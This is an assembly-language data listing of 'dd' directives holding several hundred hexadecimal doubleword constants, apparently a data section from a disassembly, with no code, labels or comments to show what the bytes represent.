		dd 0B4BF5A58h, 0F76058A5h, 0EE241CE8h, 1F340E75h, 0E00FA37h
		dd 0F8D6448Bh, 0B9F498h, 0BB266DCCh, 924217CEh,	0CD455000h
		dd 8C6715F9h, 0A79603F8h, 6D5CBD91h, 2033FBA0h,	0FE61F101h
		dd 0C5B57AC1h, 0E7004428h, 0C898D6CFh, 0C0A008DCh, 0CC3B01E1h
		dd 0AD1A3D8Dh, 8E2E8359h, 0A72DA094h, 3BF37B7Bh, 0A0012673h
		dd 9FAC80AFh, 0C0C5E072h, 21963812h, 4E04C416h,	84B9E9C1h
		dd 0AE97D900h, 0D32F6A54h, 3F87E500h, 0F1896D19h, 9C55006Eh
		dd 0DF33631Bh, 0B100324Ch, 99190F66h, 0BB840h, 8D356C92h
		dd 2C58BF47h, 5BB5FA00h, 0B2EC1B48h, 5EC603A8h,	0F2C8D37Ah
		dd 9EB9E7C8h, 54824401h, 24A65D60h, 3ED8A864h, 0AD80586Dh
		dd 3899930Ah, 3DEED180h, 7FE2E700h, 90EDEC19h, 311F01D4h
		dd 426C47EAh, 3684ECE3h, 0A31AE600h, 0A2FD16C6h, 0C30E009Ch
		dd 0C808DB47h, 0A100B3C2h, 1875D1D8h, 30ABA87Bh, 0E239149Bh
		dd 0B91E0ECFh, 0A3801F71h, 8C476A7Fh, 456C0249h, 0B090DFC2h
		dd 0F20F9850h, 0C0304329h, 3B81233Dh, 0FDD62706h, 7D610497h
		dd 0D4200673h, 0A9C70115h, 8A531147h, 0B60C24EBh, 0A3A50C9Ch
		dd 0A3BF11F8h, 650A044h, 2187632Ah, 14B15D63h, 0F8380Eh
		dd 301695BFh, 1EA4CAE3h, 0C77D1591h, 90096651h,	0A231FEEFh
		dd 7463CB00h, 22CF4187h, 56EE0E8Fh, 66204016h, 1AD2F0B4h
		dd 9008C024h, 0A38A6102h, 66CC70C9h, 90DB4905h,	60035C8Ch
		dd 0E90C88A2h, 5E80986Eh, 94760069h, 996B7EB0h,	0F00EA07h
		dd 36CBC659h, 0FD982CCEh, 6D00E438h, 193CE3D3h,	8100FB42h
		dd 0F11F4A86h, 1158555h, 0A4B84610h, 0DC0E5F34h, 0A700CC52h
		dd 0FBFF83ABh, 20940CAh, 0DA5423F8h, 0E3B03Eh, 332D90D0h
		dd 492A0203h, 88A6F124h, 0F35A0Ah, 0DE115D48h, 229E03BCh
		dd 8D18FAC7h, 510B9430h, 12670005h, 615CFF6Fh, 4900F45Fh
		dd 0C253DD01h, 0A891FD04h, 5A4FC0h, 6335ED6Ah, 0F3465B29h
		dd 0EA1F6600h, 7C6003B5h, 2697161h, 2608014Fh, 0FC832AB2h
		dd 7C0166A5h, 0AB7D3CC5h, 4BC55BFCh, 0B7F160D2h, 7EF8B4h
		dd 8D35424h, 0E1E446D5h
		dd 2EBFB800h, 0FA21A8Dh, 0FFB93F98h, 3218F380h,	59E6950Ch
		dd 789C80F0h, 3491EC80h, 48F4042h, 0D5C873Eh, 667491BDh
		dd 0B308809Eh, 0AE2069BAh, 0F58711Eh, 7760E25Fh, 40EC8B8Ah
		dd 81C7AA35h, 0DD2D38h,	0D9CEA068h, 0E0CF05h, 98A9620Dh
		dd 0D2A57039h, 0F50ABD19h, 67E5B739h, 18C72CF4h, 19F480DCh
		dd 200FBC41h, 60D851DDh, 0E45E2CB0h, 15A70061h,	0FA0B922Eh
		dd 0B7001416h, 0F17E965Dh, 0A6E832h, 427FDC2Ch,	9CCF9B6Dh
		dd 4B806B00h, 0A230B9D5h, 0E2D13E1Dh, 6490C187h, 0D8EB80B6h
		dd 0BD00EE15h, 8A9C452Ah, 1DB80AD6h, 80A4E7F5h,	0E91F7390h
		dd 8D32D9D4h, 20A8294Dh, 0A2F99BFFh, 1CA01690h,	0AD075246h
		dd 5F804F0Bh, 61931AB0h, 0EA1C005Ah, 0C6FC6756h, 0F6006C0Eh
		dd 0F83B14B7h, 106DBB0h, 0FA96B28Bh, 0C8C51DDDh, 0C97F6261h
		dd 0D9217B00h, 0DBBC29E8h, 0D4F0DCh, 0D6EFB010h, 194054Ah
		dd 42321500h, 8FF7DE73h, 473C01FEh, 0DBC8A689h,	0D906706Eh
		dd 6F57C900h, 88543E3Ah, 9C790332h, 1E52B063h, 28CB14A8h
		dd 0CCFE0207h, 35858315h, 951F9840h, 0D3B470h, 0CFFBD86Dh
		dd 5767F7DBh, 0D996200h, 4A56B890h, 217769h, 0C384151Bh
		dd 0BAB7A2D4h, 1317D503h, 0F84E9975h, 0F48066E6h, 92B0FC7h
		dd 0BD60EC5Dh, 12B858A0h, 1C0A90Fh, 48C5804Fh, 0F4938Fh
		dd 0B2EF0F8Eh, 0A28810B9h, 0DE13A101h, 76AFE2DCh, 0B6F8E1D1h
		dd 1445009Bh, 482ADF94h, 0AD00DE98h, 0E30F771Dh, 3A0C03BEh
		dd 0B0025F6h, 93FB2E7h,	6C757B33h, 5C3008C1h, 0C080594Fh
		dd 11D18D74h, 0E3B85670h, 0C49D7D00h, 50147E40h, 73960E19h
		dd 5C12AA6h, 70305EB9h,	0F100E5F4h, 8FA2728Ah, 6B0B54h
		dd 64EBA08h, 0B4EB44B5h, 9365200Fh, 41B6EE52h, 991EEC62h
		dd 16066098h, 0F730B835h, 0D6F90855h, 6ECB01F4h, 0B064EC21h
		dd 6D2BCC4Eh, 0AFCD7D00h, 4DD5C4F0h, 7AED0083h,	87CE4746h
		dd 1100BF59h, 6FEB1FF3h, 7E68EE4Ch, 0D4151C7Fh,	4648035h
		dd 0D1BE2A2Dh, 0B400E4E6h, 0AD4B2F7Bh, 5CFA0C6Ch, 197CAE77h
		dd 840AD575h, 0B210A6D4h, 440CCA00h, 8FF13Ch, 584575B6h
		dd 0D76021D2h, 0FD6CD100h, 0D2371C0h, 2B81FB7h,	973243C6h
		dd 0CD800C6Dh, 0D2016FE9h, 611C2846h, 2FE8D530h, 135398FAh
		dd 7EF76E5h, 30BA8849h,	2984AE33h, 2440F849h, 0C000FB60h
		dd 0F4D080D4h, 0EA3F0033h, 66A3D782h, 717D429Ch, 0E854C900h
		dd 0AA817323h, 0D6351FB3h, 4B975DA9h, 8D800F7Eh, 0BE67F65Fh
		dd 52385A24h, 26AF1C00h, 79ADEAA6h, 28AB3CDEh, 0BF83613Bh
		dd 277CA7A3h, 7A8103Ch,	9A9E8FC0h, 0D88B8300h, 0A22100A4h
		dd 0FA939549h, 73E4A1D2h, 0F309017Ah, 83AE9F81h, 0B0B1AA2Ch
		dd 0EF0C23h, 733F0E8Dh,	2719F272h, 0F9786F00h, 0D0A6AF53h
		dd 0D8690066h, 52E7C071h, 0BF0267FDh, 4A415931h, 1C91403Ah
		dd 0DABC000Dh, 5BF10FFFh, 687510A5h, 0DDE7A200h, 352D30FEh
		dd 0E2D438C6h, 0DFA46100h, 0ED6D1784h, 57EAA4A0h, 0EFE180h
		dd 0B6C8D978h, 0E9BD8820h, 0D3004EFEh, 42073ACEh, 3FFDBB10h
		dd 0CA80B230h, 7A46AEF7h, 1503713Fh, 0D34C7221h, 0ED0B880Fh
		dd 0B9181E5Eh, 306B4034h, 5B51E1BAh, 39C8F500h,	83DF4529h
		dd 60EEDCh, 0AC227F2Bh,	69DB1233h, 97A6871Dh, 39663641h
		dd 71C87CEDh, 20D002Fh,	0CFA8B303h, 76017361h, 0C88FA9EEh
		dd 0D2092CBh, 0D7634CE8h, 0DFB78900h, 577FA68Ah, 27533400h
		dd 26CFAA54h, 29010250h, 0C1202D21h, 0FC80FC6Ah, 366BC6EBh
		dd 33CE3E01h, 60784F43h, 37C4BBF4h, 7008375Bh, 28A17214h
		dd 557C4500h, 0FE78089Dh, 85E701C7h, 0C638CD65h, 0A6E12AAEh
		dd 0E20820h, 0E15F1013h, 6486D4C5h, 0EB347F00h,	0DA2536D2h
		dd 17F300C0h, 597E1FD0h, 3F00DCE9h, 4DB4D846h, 0EA6A64h
		dd 1662EB19h, 9933206h,	2BB7A00h, 8F1A659Dh, 4779B5h, 76929907h
		dd 1653E97Eh, 0ADFB1900h, 30B48545h, 137B79D9h,	0AFC0615Bh
		dd 0CD01341Dh, 0D91B79Eh, 0EB8830h, 3B9FAB37h, 0E974A7DAh
		dd 5E0060B8h, 0F70F45Bh, 3FE89A6h, 6D88A8F9h, 80A74AABh
		dd 0C135C716h, 0E9FFB50Fh, 2051EF5Fh, 7C94E176h, 4CAA00D6h
		dd 2361ED8h, 2B001954h,	37E98883h, 0A3304h, 0B22AA06Fh
		dd 0AB3FEF08h, 0BE7FF400h, 69A8B1F0h, 6CF0E1h, 8EA71435h
		dd 9CB98536h, 0E8165E03h, 900AB748h, 45A38h, 0BAF6A894h
		dd 0CA9EF525h, 99A41600h, 0E2B0C05Fh, 1B0A0166h, 0F6306AFFh
		dd 0DFE1D444h, 0A9054200h, 0D6F05439h, 475100EDh, 0F3A4E97Fh
		dd 11E0149Ah, 706EEC30h, 0F52796Bh, 382EEB7h, 53BA0C80h
		dd 1C0C86A2h, 28E802FCh, 82350F6Dh, 11F88446h, 0C2F08115h
		dd 8099B728h, 0C9ACEF2Ch, 0B441E81Fh, 0B2656BA2h, 867D2042h
		dd 40217883h, 0B300BDBCh, 0CF2AFA6Dh, 99AA8Bh, 140F55D3h
		dd 3FB98A05h, 83B10305h, 240C941Ch, 3E63889Fh, 95284A90h
		dd 2947000Ch, 0C1AD162h, 0F400FCC9h, 0F4A2C35h,	0A242EAh
		dd 0C5A73283h, 975DD647h, 98993300h, 3F2FC754h,	810200FFh
		dd 1C25B7F5h, 29027032h, 535A12C8h, 0C46EE021h,	5EA20545h
		dd 0AAF884A7h, 0DFCAB5C7h, 53692700h, 0C3E568h,	4DC95CB9h
		dd 0AD475A16h, 0E4CD6400h, 9E13BAFFh, 0DE5F005Dh, 0A086BE1Fh
		dd 0C40709B5h, 0BB0A3450h, 7B5A3070h, 5C240B15h, 87F5BC1Ch
		dd 13D07C18h, 0AACE80Eh, 0ED4D632Ch, 2F3780DCh,	6FC17AB1h
		dd 8412DE2Ah, 9DF74D18h, 0BC1020h, 6AA0577Dh, 0E6AA4C22h
		dd 5198FFFBh, 0CD481EF9h, 728E078Dh, 0D8769FE1h, 94F60640h
		dd 511FFB42h, 4C58E212h, 0DA84CA00h, 0C04989Eh,	0EACD743Eh
		dd 9C07189h, 66691AE8h,	0CC230065h, 4A939FCBh, 7E18DD82h
		dd 7B5126FBh, 0CA7085h,	71254364h, 0B8760C34h, 8B5BA300h
		dd 90739841h, 317A0CCBh, 6E58AE75h, 496CD900h, 0BFABC633h
		dd 0D0F90082h, 0A99B80CDh, 0D43FB5ACh, 9EBE78h,	2E776905h
		dd 71F7E240h, 98703057h, 0E6FD2DA1h, 0F5558207h, 7B804DA8h
		dd 13E5E908h, 6ED8BFFh,	0D1EB4852h, 0F5FEF703h,	18446D0Bh
		dd 915F6641h, 8C74A746h, 0FE42DB03h, 938B6141h,	88317744h
		dd 4C00DD9Fh, 98561BECh, 5DA1947h, 0D76E48BBh, 43884C1Ah
		dd 0B288ADE8h, 3BC1002Eh, 3EA7701Eh, 13EABE4Ah,	1DD6910Fh
		dd 5464608Ch, 1B015h, 55249AF5h, 0EE273C22h, 0F19773Eh
		dd 8993DE70h, 0D62AE0D3h, 0B67907ABh, 0C09418A0h, 0DEED64BBh
		dd 37E37B38h, 22F02097h, 0C0603106h, 0C7962C31h, 0E30619A3h
		dd 0E2CD07EAh, 2E3E3008h, 0C7928C20h, 9D6D3903h, 80C6341Dh
		dd 0C3982CD3h, 8AB19F41h, 0D737CBB0h, 199AE430h, 3407D94Ch
		dd 86104DCEh, 620019F8h, 0EAF3E267h, 3055DED7h,	8EA0D201h
		dd 3354CC22h, 0C708904Ch, 0C2F306BDh, 0D2002D67h, 7D3DC79Dh
		dd 4C440093h, 286A76CCh, 0F011A08h, 8358928Bh, 7ED9E2DAh
		dd 0CF89ACCh, 0D935BBD6h, 3E0082A1h, 395F6446h,	0CCA75085h
		dd 0E221D509h, 0F2460600h, 92581631h, 63F74FCh,	0FD8CFE8Fh
		dd 0DC0C5051h, 0F8D1FBE2h, 2E1538A5h, 21B0380Fh, 6576A1E0h
		dd 8CFC1195h, 2629D402h, 60054A47h, 0DE17DAh, 2C10F2E2h
		dd 0C4AAA16Ch, 0FC28E600h, 0D5DDD371h, 2EB70079h, 0BA7BBE82h
		dd 6C0936E5h, 3970AA8h,	0B851F107h, 7F07B332h, 242C001Fh
		dd 0C190EB99h, 59032E68h, 0E8060386h, 4064A2CCh, 480837h
		dd 9F6518A2h
		dd 422D9827h, 4A006CF2h, 20FABF81h, 992C5Dh, 2AF9DD14h
		dd 1CAE6A8Fh, 0CE240CECh, 3C000474h, 0FB161381h, 36833A89h
		dd 0D2217C30h, 0A30338EDh, 4BE262C0h, 0FC11D895h, 41C3010Bh
		dd 2BD42CA6h, 551080C7h, 12497C77h, 25840CF8h, 0C970CE0Ah
		dd 1801AF43h, 0BB820937h, 27000B36h, 3814370Eh,	0BB04AADEh
		dd 0A5154350h, 0F9E8201Bh, 94F577DDh, 3F8B6131h, 0DC30717h
		dd 809DD12Bh, 746B7894h, 0B39CA81h, 0C35ED82h, 0C0C98945h
		dd 2400BA37h, 2AB1FEE0h, 50BE0AB9h, 0D3BA48h, 4F16C47Ch
		dd 0FADDC35Ch, 0A2817ECh, 11C0FAA1h, 6DD94A48h,	60610086h
		dd 81F8E02Ch, 0A0009C53h, 21BF9F46h, 3F47FF3h, 0E585FBFAh
		dd 0C6988E43h, 1B0025C1h, 28C8E786h, 3C0ECDDh, 0B237FA75h
		dd 90EFAB74h, 582B29CAh, 15553900h, 6938A648h, 4988006Bh
		dd 82C6BE4Eh, 7101C524h, 98919647h, 6DECECEFh, 0A2700EAh
		dd 0FD599DD5h, 0CD14C75Ch, 0EE0451DDh, 0D46D14FFh, 48870008h
		dd 24B45725h, 0DC7A3EF1h, 5EFD5880h, 0A9534E90h, 37D919C1h
		dd 4712FAEDh, 0EF1BD520h, 39DD18CCh, 6A510893h,	21834C34h
		dd 9E333C00h, 0F50839h,	54A1B953h, 48625FAAh, 0B6A9CA0Ch
		dd 2818FAh, 0A7F89422h,	358CBF6h, 0F0B769F0h, 0BE0200F7h
		dd 0C8E1DCA3h, 1C0055CDh, 17DDEE23h, 16C4CCAh, 100CDE86h
		dd 404EBDA0h, 63D96640h, 40D09F63h, 0C7AFA08Ah,	93650028h
		dd 0BE9BFE08h, 5501EF1Dh, 0DDCB175Ch, 0B9BEC7B9h, 7E700078h
		dd 5EF7FA3Fh, 237F044Dh, 3CCADA3Ch, 807198B1h, 0D9B86469h
		dd 802AE0F8h, 88CC8741h, 0AAED12Eh, 0FDC75ECBh,	2FA800AFh
		dd 0C14E373Ch, 0B9ADF21Dh, 0EB5B6B40h, 34B24D0h, 0B811CD17h
		dd 60FBCB96h, 93804FE7h, 98DA47ECh, 0ACFDAF29h,	2FDFDC01h
		dd 0A0EEAC41h, 6C9D8CE8h, 5EA90267h, 0C8843C48h, 4C4DFCA0h
		dd 7F7903DAh, 0C637F701h, 0B9AE06ACh, 2A4E2CCh,	0DA24F290h
		dd 9883A3E7h, 0EFF06CBBh, 3D56CB9Ch, 88472124h,	16050718h
		dd 9040EF9Ah, 0BF28D650h, 0FA270337h, 3C71B3Eh,	80475280h
		dd 0E0A4A000h, 0F04CA248h, 37E703B0h, 529EA839h, 647A9003h
		dd 0E8F684B5h, 0E8F99FE0h, 0A2D400CDh, 0DCF1CA24h, 3C00D3EEh
		dd 5990A510h, 0CA124F32h, 23B0C818h, 22DF9D7Ch,	0B1354E30h
		dd 0A0A6DC94h, 29D149Ch, 0D97F656Bh, 8044A3B3h,	236ECB00h
		dd 0A8F00EF1h, 0BCAE5524h, 90BED1F0h, 31E08019h, 3DED2422h
		dd 0F26E0054h, 2CEB5916h, 7D4D490Ch, 2D1823h, 0A30C1339h
		dd 0BE6C4AB9h, 0DCA5D70Ch, 125BA8D1h, 205D025Ch, 60287028h
		dd 204CF548h, 9274A847h, 85B0AAFBh, 0F46C6B90h,	0E9704417h
		dd 69D4850Ch, 18AA4818h, 699B7D02h, 0E976E80Ah,	7007151Ch
		dd 6EE0A759h, 0CB10FC40h, 843700F2h, 0DAD4604Eh, 34AC34F4h
		dd 7F036B46h, 7F21754h,	2955DFB3h, 0F8A3E9CCh, 0A614CBEDh
		dd 39CEA73h, 2355ACD8h,	5EBEF87Fh, 335C00FAh, 0DB9F0478h
		dd 0C6181A1Bh, 8CB89C72h, 0AA03002Ch, 7FD770D8h, 0D0ECC7CFh
		dd 0B15EB600h, 0A656EF28h, 88AA50DCh, 0C0A0705Fh, 0C4E6A288h
		dd 5CA2D4E2h, 50C3D485h, 7C8FE8ECh, 7F92EF40h, 962AA3F5h
		dd 0AAF8908Bh, 4F02A7F8h, 76F61A4Ch, 0A504049h,	6B900EA9h
		dd 0DE202FF8h, 28EA97DBh, 2313B8C0h, 6052E0F9h,	364770CAh
		dd 3B3C60A1h, 44D4030h,	6F178B67h, 5D7CA0EDh, 0FCF62704h
		dd 0D140C820h, 0E0CF0E13h, 0CCB2E20h, 0B7674E99h, 0CA447429h
		dd 281A344Fh, 5BA00130h, 81DC7C3Bh, 48C1BF69h, 0E1F70C36h
		dd 189BA170h, 0EE0E893h, 1378D864h, 4A1B1000h, 0D455A2D9h
		dd 0BE724Dh, 965C15EBh,	0CC1781F0h, 189A83EAh, 22419167h
		dd 60B2F6h, 0ADCC8429h,	4DA23756h, 0EAC1A318h, 825B0h
		dd 0ACBCF77Fh, 0C9E2724Ch, 0BD286090h, 871DDC90h, 0A70F9996h
		dd 117F24CCh, 98839884h, 5366FFD7h, 0D4890631h,	184AC5DDh
		dd 109D2B26h, 4E5EAC85h, 98D6E820h, 0F0F30038h,	0B7FB839Dh
		dd 7CB10219h, 93C34802h, 106BC279h, 0B21911FCh,	13ABE210h
		dd 0CC07FFh, 0FCE936A7h, 2312B47Bh, 2000A26Eh, 74A4A781h
		dd 0AA411653h, 0EC340EBBh, 208EED49h, 30DC0B25h, 0F899A3B0h
		dd 463B13F2h, 0E478A10h, 9B1EB88Ch, 0DDBEAF00h,	167057B7h
		dd 205208C1h, 24C35ED0h, 98B99C39h, 57185D11h, 0FBEF0A93h
		dd 3B022F4h, 0E64760BFh, 0CDA724F8h, 0F0178824h, 9EB80B4h
		dd 88840840h, 0BE1C805Eh, 0C3F69A6Ch, 7D18C2F2h, 0FE18A715h
		dd 7C9803CBh, 0EFBE5B10h, 6A8392A8h, 0DBD97D0Ah, 0D7018CA2h
		dd 0CD7E73A3h, 0F5E811AAh, 267AC4F4h, 8F98B509h, 37C3FBBEh
		dd 30229F52h, 67400E9h,	0BBCD88A6h, 1F005D24h, 0B8ED12CCh
		dd 0B29A46h, 0BE21F95Fh, 1E3EFCFEh, 0DF88C71Dh,	64983B81h
		dd 8220CCAEh, 0C43D0114h, 9599D757h, 88EAE8C3h,	7900CEE8h
		dd 168B9CCCh, 3641FEh, 0B6F6F52Fh, 6063C462h, 7FA2C709h
		dd 2CE09687h, 0C1800837h, 20AABB4Eh, 9A2E0EFCh,	28243056h
		dd 9CCA6BC5h, 24BDC310h, 0CB113488h, 0D8213848h, 2E0B4604h
		dd 1AC98C87h, 0B3240468h, 6C2CA080h, 0C049AEBh,	0A420F970h
		dd 4A4C1141h, 0C1198C20h, 275C028Dh, 0D020FA83h, 9E2214A2h
		dd 0DCFBC848h, 0BA603098h, 0A92FA469h, 0CAC90A8h, 8E674C87h
		dd 584C8320h, 781B8C40h, 4CCA5418h, 288F6223h, 32F5C2Fh
		dd 0FB674A78h, 415CE71Ah, 30FC9257h, 2438C9BFh,	2498D250h
		dd 8FEBA510h, 6D7F4103h, 10D0C2DBh, 4B298895h, 268822h
		dd 2191006Eh, 26249527h, 49AC0112h, 9C4C7418h, 6D2CA2E4h
		dd 66E028F5h, 16C161Ch,	0CC135D27h, 283025C0h, 765E0B4Ch
		dd 0EDD0A2FDh, 7686637h, 608B6814h, 15E1E2FAh, 4E2CE480h
		dd 5302CED7h, 0D97CBBB9h, 0C06848EFh, 0B4CC02F9h, 586A7A12h
		dd 7D442464h, 0B74E2496h, 0D9B18324h, 0ED8106DFh, 106836D8h
		dd 0D90EB437h, 2A6A84A7h, 89893E4h, 0DC80A250h,	64AF6A58h
		dd 0C91892A5h, 1C48C598h, 51C0F722h, 7513BDF0h,	6E1A0012h
		dd 0A9CCA369h, 5CA32E8Bh, 0BE51D904h, 0BCBA24F0h, 912F01AAh
		dd 0B655DC54h, 6615C022h, 1200F85Ch, 0D96F875Fh, 8318BE5Ah
		dd 24A9CC1Dh, 0DCEF0170h, 0B28E6ACh, 9C6C4054h,	7958CCDEh
		dd 0E1E98050h, 0A3B93A3h, 95A4A10Bh, 794341BCh,	0C004C512h
		dd 0BBFEBEA9h, 313A297Bh, 0C91857B8h, 5EBC81D9h, 4AF4A1B2h
		dd 0AFC10180h, 0AE6170F9h, 0C7F18B4Eh, 20E000A8h, 78E20B05h
		dd 0DCF60095h, 0E4A4CB1Bh, 0F40143BDh, 75A9AFD9h, 50C48423h
		dd 0DE5300F9h, 65627A77h, 936051EEh, 158940D8h,	84D700AAh
		dd 5212137Dh, 47E67339h, 60884A58h, 5DD67F39h, 3C291D70h
		dd 0D56540DAh, 22DB58D2h, 520CEF09h, 6907771Ch,	0C530ACCDh
		dd 81D9943Ah, 0D3A75BB8h, 80D0364Ch, 0FEDE3C5Ch, 1BD40D00h
		dd 48176DC5h, 9301067Ch, 9672F952h, 0E7FC75D9h,	187F7C04h
		dd 8951800Dh, 4803E25Ah, 5E89811Bh, 3509ED2h, 7F8D47DAh
		dd 92C38E02h, 0B8DC5DE8h, 8083763Ch, 8A426457h,	70F7815Bh
		dd 5CA0C0B6h, 60B93E11h, 1A0C02F6h, 38699022h, 8364000Ch
		dd 40D59DB3h, 0A23A1725h, 89F29D7h, 80D1A1BEh, 835E7D55h
		dd 0D63FCF77h, 5BF78390h, 98B1201Ah, 7B93C65h, 57A061B5h
		dd 0E255277h, 7BE52090h, 18520A0Fh, 1E65A001h, 78C62DFh
		dd 0DD07DC0Dh, 85448057h, 0A300176Bh, 0D9A65380h, 285D5CFDh
		dd 384D39Bh, 37580277h
		dd 1824FAB2h, 0B006FA3h, 59C5D876h, 8FCE06F5h, 317F7E7Ch
		dd 36D3B500h, 2BFE935h,	823F00D6h, 0DD8C57B0h, 0B9028ED5h
		dd 8F8A0D53h, 745A0051h, 5CB0A75Ch, 0DA5E9105h,	0A85E13D4h
		dd 0B4520F00h, 2BD71EFh, 0F782C226h, 443BA72h, 0B2193806h
		dd 0E830DC9Eh, 4AD501B6h, 785D258Dh, 7B7CC05h, 0BDBA003h
		dd 0F096707Fh, 3DCB879h, 0DA2589BBh, 0D80CF98Fh, 49204D81h
		dd 6075E61Dh, 0D307381Ah, 89000D70h, 0B8028C79h, 7394E10h
		dd 7CC58FAAh, 312A3552h, 0C379008h, 1311F85h, 5F22CE8Eh
		dd 9107E0B4h, 0E0C6940Bh, 0DF53E5E4h, 68244A7h,	41C9D5EEh
		dd 0B5D4B344h, 48380033h, 52C355D2h, 8127478h, 0FB001A4Bh
		dd 6520B9CFh, 337F057Dh, 0D2C9D6h, 8240A01Ch, 0A892D4B4h
		dd 840AE8F8h, 0D07BECB0h, 2636BE40h, 638324CAh,	0C15F60C8h
		dd 0A2127089h, 0AC10B98Dh, 0B004CACCh, 0A4D88ADAh, 181A2A81h
		dd 0A440F687h, 928ABB01h, 957EE44h, 3466B70Fh, 0B8D81803h
		dd 48656FC9h, 18C0508h,	0D8E7517h, 20527758h, 780F09B0h
		dd 40B59D83h, 0D404E926h, 0D05A48C4h, 920F2F50h, 0FA7E2E50h
		dd 66AB094Bh, 112BFC00h, 9E4CCF43h, 33D5A14Ch, 0FBB55B00h
		dd 69AAA488h, 0D58C488Bh, 0B80E5A31h, 0DCB93707h, 558E9600h
		dd 7FD1F01Fh, 1506038Dh, 0BA08ADCEh, 0C51A57C0h, 0A059BD00h
		dd 5DDB7946h, 36D018F9h, 0E58D684Ch, 122CF3Bh, 4FBE9C5h
		dd 0B421D7CEh, 2510B04Ah, 5B9706B3h, 90A1FAD5h,	2ED2487Ch
		dd 49BD8450h, 0C2034415h, 0BA340706h, 49951820h, 16002C1Bh
		dd 71C7E53h, 610794FAh,	20B6718Ch, 0D9762140h, 98A47337h
		dd 3E5A01Ch, 2A6007Ah, 5B7D56DAh, 5260E4D0h, 4C99CFC8h
		dd 0DF460h, 22DCACB8h, 0BD49CD0Bh, 0ECEF3701h, 0DD61ED89h
		dd 13D814E9h, 5C951E73h, 99CC0ADFh, 0ED1550C0h,	3498D975h
		dd 26375F00h, 3BFC0374h, 244717Fh, 8E86EB1h, 9841A3CCh
		dd 0D5A02528h, 6118513Bh, 10304BD7h, 6509E345h,	0C01333CBh
		dd 2D8458B8h, 0F5C7DF00h, 9359CE05h, 7A4FE237h,	0B46F50A2h
		dd 0E0C6005Bh, 0AD31EC5h, 0A0907EB0h, 74820B0Ch, 0F9D078BAh
		dd 0C4180C1h, 8F012214h, 0DAE4518Ah, 41BAF79Ch,	0A2C18468h
		dd 815F1900h, 59FEB222h, 0C2CFCA3h, 50C732FDh, 88003918h
		dd 5CB863C2h, 0ACBC3F9h, 468E52D0h, 0D84303D0h,	0EF0E70Bh
		dd 99057F76h, 897C2351h, 6A38D843h, 0E110134h, 295F487Eh
		dd 0C68C53FEh, 0BF57E2F1h, 0A2D704A0h, 883B9F4h, 0CA5681C5h
		dd 927080D4h, 89D60044h, 4C0AC00Bh, 6D0577D7h, 0C65A3F8Ah
		dd 0CC024EC1h, 0CFBD72F4h, 0FB850B40h, 188019F4h, 0F05DF9FAh
		dd 682080F1h, 0E7A3371Ah, 1CBEE759h, 4A285238h,	17A8C60h
		dd 8C228226h, 85D85C8Eh, 0E85EE996h, 1D79803Fh,	2E03163Ch
		dd 4A5D3207h, 8480F108h, 1EB1555Ch, 0FC4FC000h,	0BFAFC9FFh
		dd 433214FAh, 0B605AC62h, 40D4E476h, 0D61D6328h, 608C9315h
		dd 5B9F2146h, 0E800101Dh, 0FC95F469h, 12CA64E9h, 2860A7Ch
		dd 24D78710h, 51307040h, 0D27FD015h, 0F51F04FCh, 1AC0783Fh
		dd 3A540BE2h, 172AE0C7h, 739D00C4h, 925A6F41h, 59012B96h
		dd 0B40EF60h, 518393BEh, 0BFE7875Dh, 8765103Dh,	0A4E43A57h
		dd 28734D00h, 99ED1D98h, 0CD8B8307h, 0E4905152h, 4EFA9E2Dh
		dd 24AC5E00h, 89C4A534h, 3C9C00F0h, 0D80EDC79h,	0F300D325h
		dd 2CC8FB6Eh, 1C554617h, 0C1EE9584h, 68B90328h,	506AF035h
		dd 0FBDFF701h, 23226276h, 4915D0h, 7430FD4h, 0DBC467B2h
		dd 0D23E7A1Dh, 0AD21CB18h, 18430014h, 9D59130h,	2400DAC2h
		dd 5089F631h, 0C006355Fh, 10254158h, 30A5FA49h,	4B67C864h
		dd 96C42680h, 950A1D7Eh, 0FE83613Fh, 0F429EF18h, 9DA9000Bh
		dd 481035CEh, 0F7703FFDh, 572DEF03h, 0F8AC1A85h, 0A151E18Dh
		dd 0D1E09874h, 107882h,	2D1BBA58h, 3E19415Bh, 0A9718000h
		dd 2E0B4CFEh, 117600E5h, 9FA95AAh, 7D00619Dh, 78A2B4EFh
		dd 0E359D4h, 51283858h,	0EBCC74CBh, 8ED33400h, 10DDC014h
		dd 4B410196h, 0AADF18A9h, 0A4C8EF83h, 0F40036C6h, 0A6A3E215h
		dd 0CB6DF6h, 0F768177Bh, 0A40A2C5h, 2E9A3C00h, 5A475DC1h
		dd 76FD00A8h, 0BD8B43E8h, 890012A5h, 1F9CA3B8h,	24DFF123h
		dd 0DD97EFh, 0CFF4204Bh, 9000F0FDh, 257C81B4h, 9F6970h
		dd 0A0239567h, 45B56C2Ah, 5C5A8301h, 0F8B30DC3h, 707460h
		dd 2E08BA73h, 7255B99Eh, 9B86900h, 22BE5E66h, 3E270F7Fh
		dd 0BF6F5B6Fh, 0FB801E00h, 771AF0Eh, 723CFF00h,	0D312774Ch
		dd 0CD29007Ah, 4743F99Bh, 253E9097h, 7FAA00C6h,	0E8A07DAh
		dd 232B3B79h, 0DFBF63BBh, 0D6C3DD86h, 9E162820h, 0A5003075h
		dd 76D25FFDh, 611C06Ch,	20CD698Ch, 0CE6617Dh, 0C9804C00h
		dd 0F41E8863h, 0A0F12E25h, 0C6F830A0h, 526F1391h, 60464030h
		dd 3753A944h, 0C0E07CA0h, 0F4B28C1h, 0BFEE843Eh, 0F3470CFFh
		dd 0FAB88D7h, 64A12D30h, 682CF5A0h, 0FA281AA4h,	9300AE47h
		dd 17BFC8ECh, 704EA641h, 63CC00FDh, 54ADDD87h, 0AF00A120h
		dd 100A6F61h, 867E2h, 0F32AAA4Eh, 1C6E3046h, 5854A800h
		dd 6D15D89Dh, 29C9629Ch, 8821B9EAh, 0F4012439h,	0CA651191h
		dd 0E911D612h, 0B05111F3h, 0C7DA1195h, 0C55CD222h, 0A519007Dh
		dd 152C9854h, 0A6072FFAh, 731E2ADCh, 8BEE3240h,	0CF04B2h
		dd 0FB02E950h, 0B7FA3531h, 0DFEB4800h, 214A879Fh, 2ACF00E7h
		dd 2DCCA694h, 4B1E044Fh, 0F3032896h, 8CCB9Fh, 9057C018h
		dd 98020F1Bh, 32965200h, 0C70ABDD7h, 0D86C00C8h, 1720C37Bh
		dd 0D900DE75h, 0E2A1EA55h, 3998E973h, 5C3F4D0Eh, 0DA131Ch
		dd 68F597B8h, 6F005D36h, 1E540434h, 56151Ch, 629BE4DAh
		dd 0A9F4C9E5h, 1AFC0500h, 0B1CE711Fh, 6B9200E9h, 2E595A8Eh
